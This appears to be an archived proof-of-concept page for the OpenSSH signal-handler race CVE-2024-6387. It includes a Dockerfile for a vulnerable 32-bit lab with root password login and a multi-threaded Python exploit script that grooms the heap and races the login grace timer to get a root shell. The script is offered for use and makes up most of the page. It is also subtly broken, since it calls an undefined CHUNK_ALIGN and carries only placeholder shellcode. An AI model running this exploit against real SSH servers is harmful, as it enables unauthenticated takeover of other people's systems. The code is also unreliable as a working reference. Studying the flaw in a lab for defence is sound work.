POC详情: decc7a792e9b9d2aaf1bf7e16196c7cb9168884a

来源
关联漏洞
标题: OpenSSH 安全漏洞 (CVE-2024-6387)
描述:OpenSSH(OpenBSD Secure Shell)是加拿大OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。 OpenSSH 存在安全漏洞,该漏洞源于信号处理程序中存在竞争条件,攻击者利用该漏洞可以在无需认证的情况下远程执行任意代码并获得系统控制权。
介绍
# 0. TL;DR

This is essentially a statistical vulnerability: it requires a large number of attempts to win the race condition and successfully execute arbitrary code. Attackers need to overcome many obstacles, "Schwartz told SecurityWeek." Even in the best case, the most well-known vulnerabilities take more than 4 hours to run."

In the OpenSSH 9.8 release notes, the developers indicated that the vulnerability has only been confirmed on glibc-based 32-bit Linux systems and noted that OpenBSD is not affected.

# 1. Environment Setup
The environment setup uses Docker

## 1.1. Writing the Dockerfile
```dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
    build-essential \
    wget \
    curl \
    libssl-dev:i386 \
    zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
    tar -xzf openssh-9.2p1.tar.gz && \
    cd openssh-9.2p1 && \
    ./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
    sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
    echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
    chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
```

## 1.2. Building the Image
```bash
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
```

## 1.3. Running the Docker Container
```bash
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
```

## 1.4. Confirming SSH Service is Running
```bash
docker exec -it vuln-ssh-32bit /bin/bash
ps aux | grep sshd
```

# 2. Vulnerability Verification
## 2.1. C POC
There's one available publicly, but it needs compilation. The code is linked in the related links. I converted it to Python, added multi-threading concurrency to improve attack speed, and added a run count of 100,000 attempts with exit on successful attack.

## 2.2. Python POC
```python
import socket
import time
import struct
import random
import os
from threading import Thread, Lock

MAX_PACKET_SIZE = 256 * 1024
LOGIN_GRACE_TIME = 120
GLIBC_BASES = [0xb7200000, 0xb7400000]
NUM_GLIBC_BASES = len(GLIBC_BASES)

shellcode = b"\x90\x90\x90\x90"  
attempts_lock = Lock()
attempts = 0
max_attempts = 100000
success = False

def setup_connection(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setblocking(False)
    try:
        sock.connect((ip, port))
    except BlockingIOError:
        pass
    return sock

def send_packet(sock, packet_type, data):
    packet = struct.pack('>I', len(data) + 1) + struct.pack('B', packet_type) + data
    send_all(sock, packet)

def send_all(sock, data):
    total_sent = 0
    while total_sent < len(data):
        try:
            sent = sock.send(data[total_sent:])
            if sent == 0:
                raise RuntimeError("socket connection broken")
            total_sent += sent
        except BlockingIOError:
            time.sleep(0.01)  

def send_ssh_version(sock):
    ssh_version = b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n"
    send_all(sock, ssh_version)

def receive_ssh_version(sock):
    try:
        response = sock.recv(256)
        print("Received SSH version:", response)
        if b'Exceeded MaxStartups' in response:
            return False
        return True
    except BlockingIOError:
        return False

def send_kex_init(sock):
    kexinit_payload = b'\x00' * 36
    send_packet(sock, 20, kexinit_payload)

def receive_kex_init(sock):
    try:
        response = sock.recv(1024)
        print("Received KEX_INIT:", len(response), "bytes")
        return True
    except BlockingIOError:
        return False

def perform_ssh_handshake(sock):
    send_ssh_version(sock)
    if not receive_ssh_version(sock):
        print("Failed to receive SSH version")
        return False
    send_kex_init(sock)
    if not receive_kex_init(sock):
        print("Failed to receive KEX_INIT")
        return False
    return True

def prepare_heap(sock):
    for _ in range(10):
        tcache_chunk = b'A' * 64
        send_packet(sock, 5, tcache_chunk)

    for _ in range(27):
        large_hole = b'B' * 8192
        send_packet(sock, 5, large_hole)
        small_hole = b'C' * 320
        send_packet(sock, 5, small_hole)

    for _ in range(27):
        fake_data = create_fake_file_structure(GLIBC_BASES[0])
        send_packet(sock, 5, fake_data)

    large_string = b'E' * (MAX_PACKET_SIZE - 1)
    send_packet(sock, 5, large_string)

def create_fake_file_structure(glibc_base):
    data = b'\x00' * 4096
    fake_file = struct.pack('P' * 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x61, glibc_base + 0x21b740, glibc_base + 0x21d7f8)
    return data[:0x4c0] + fake_file + data[0x4c0 + len(fake_file):]

def time_final_packet(sock):
    start = time.time()
    measure_response_time(sock, 1)
    end = time.time()
    return end - start

def measure_response_time(sock, error_type):
    if error_type == 1:
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
    else:
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
    send_packet(sock, 50, error_packet)
    start = time.time()
    try:
        sock.recv(1024)
    except BlockingIOError:
        pass
    end = time.time()
    return end - start

def create_public_key_packet(glibc_base):
    packet = b'\x00' * MAX_PACKET_SIZE
    offset = 0
    for _ in range(27):
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(4096)) + packet[offset + 4:]
        offset += CHUNK_ALIGN(4096)
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(304)) + packet[offset + 4:]
        offset += CHUNK_ALIGN(304)
    packet = packet[:0] + b"ssh-rsa " + packet[8:]
    packet = packet[:CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13] + shellcode + packet[CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13 + len(shellcode):]
    for i in range(27):
        packet = packet[:CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i] + create_fake_file_structure(glibc_base) + packet[CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i + len(create_fake_file_structure(glibc_base)):]
    return packet

def attempt_race_condition(sock, parsing_time, glibc_base):
    final_packet = create_public_key_packet(glibc_base)
    send_all(sock, final_packet[:-1])
    time.sleep(LOGIN_GRACE_TIME - parsing_time - 0.001)
    send_all(sock, final_packet[-1:])
    try:
        response = sock.recv(1024)
        if response and response[:8] != b"SSH-2.0-":
            print("Possible hit on 'large' race window")
            return True
    except BlockingIOError:
        pass
    return False

def perform_exploit_thread(ip, port, glibc_base):
    global attempts
    global success

    while not success:
        with attempts_lock:
            if attempts >= max_attempts:
                break
            attempts += 1
            attempt = attempts

        print(f"Attempt {attempt} with glibc base 0x{glibc_base:x}")
        sock = setup_connection(ip, port)
        if not perform_ssh_handshake(sock):
            print(f"SSH handshake failed, attempt {attempt}")
            sock.close()
            time.sleep(0.5) 
            continue
        prepare_heap(sock)
        parsing_time = time_final_packet(sock)
        if attempt_race_condition(sock, parsing_time, glibc_base):
            print(f"Possible exploitation success on attempt {attempt} with glibc base 0x{glibc_base:x}!")
            success = True
            break
        sock.close()
        time.sleep(0.5)  

def perform_exploit(ip, port):
    global success
    threads = []
    for glibc_base in GLIBC_BASES:
        for _ in range(10): 
            t = Thread(target=perform_exploit_thread, args=(ip, port, glibc_base))
            threads.append(t)
            t.start()

    for t in threads:
        t.join()

    return success

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <ip> <port>")
        sys.exit(1)
    ip = sys.argv[1]
    port = int(sys.argv[2])
    if perform_exploit(ip, port):
        print("Exploit succeeded")
    else:
        print("Exploit failed")
```

Just let it run - it might take until the end of time to get a root shell.

> 1. https://github.com/passwa11/cve-2024-6387-poc/blob/main/7etsuo-regreSSHion.c
文件快照

[4.0K] /data/pocs/decc7a792e9b9d2aaf1bf7e16196c7cb9168884a └── [8.5K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。